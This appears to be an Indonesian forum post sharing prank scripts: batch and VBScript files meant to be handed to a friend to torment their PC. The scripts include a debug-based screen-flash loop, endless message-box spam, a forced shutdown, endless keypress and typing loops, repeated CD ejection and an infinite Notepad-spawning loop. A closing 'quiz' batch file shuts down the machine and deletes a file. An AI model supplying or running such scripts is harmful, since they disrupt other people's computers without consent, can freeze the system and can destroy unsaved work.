Jahilin User dengan Dengan Script Notepad

A. Buat errror monitor (effect: flash light)

1. Buka Notepad

2. Copy dan Paste skript Berikut:

------------------------------Skript------------------------------
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
---------------------------akhir skript---------------------------

3. Save as, ubah save as type menjadi "all files", simpan dengan format ".bat", misal Hx.bat.

B. message yang nongol melulu
@ECHO off
:Begin
msg * muka agan jelek
msg * ngaca dulu gih
msg * hayo lo gan,cpu ente ane acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT

C. bikin shutdown+message
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka agan standar abis"
save namafile.BAT


D. Mainin Caps Lock button
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

save namafile.vbs

E. buka tutup CD/DVD
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs

F. bikin vbscript nongol melulu
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save namafile.vbs


G. tekan tombol backspace melulu
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

save namafile.vbs

H. otomatis ngetik "agan jelek banget sih" di notepad/word
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "agan jelek banget sih!!!"
loop

save namafile.vbs

I. buka notepad trus menerus
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save namafile.BAT

J. otomatis buka notepad lalu ngetik apa yg agan mau
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys "gan "
WScript.Sleep 50
WshShell.SendKeys "ma"
WScript.Sleep 50
WshShell.SendKeys "ho"
WScript.Sleep 50
WshShell.SendKeys " ba"
WScript.Sleep 50
WshShell.SendKeys "ng"
WScript.Sleep 50
WshShell.SendKeys "et"
WScript.Sleep 50
WshShell.SendKeys " d"
WScript.Sleep 50
WshShell.SendKeys "e"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

save namafile.vbs

K . buat quis
@echo off
title quiz hari ini
:menu
cls
echo jika agan kena virus apa yang agan lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka agan jelek sih
msg * ngaca dulu gih
msg * hayo lo gan,cpu ente ane acak2
msg * ud install ulang aja
msg * biar masalah nya kelar, hihihi
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

nah script diatas save jadi quiz.bat kasih ke temen..


saya tidak bertanggung jawab jika ada masalah lho gan, sekedar share ajah...

Sumber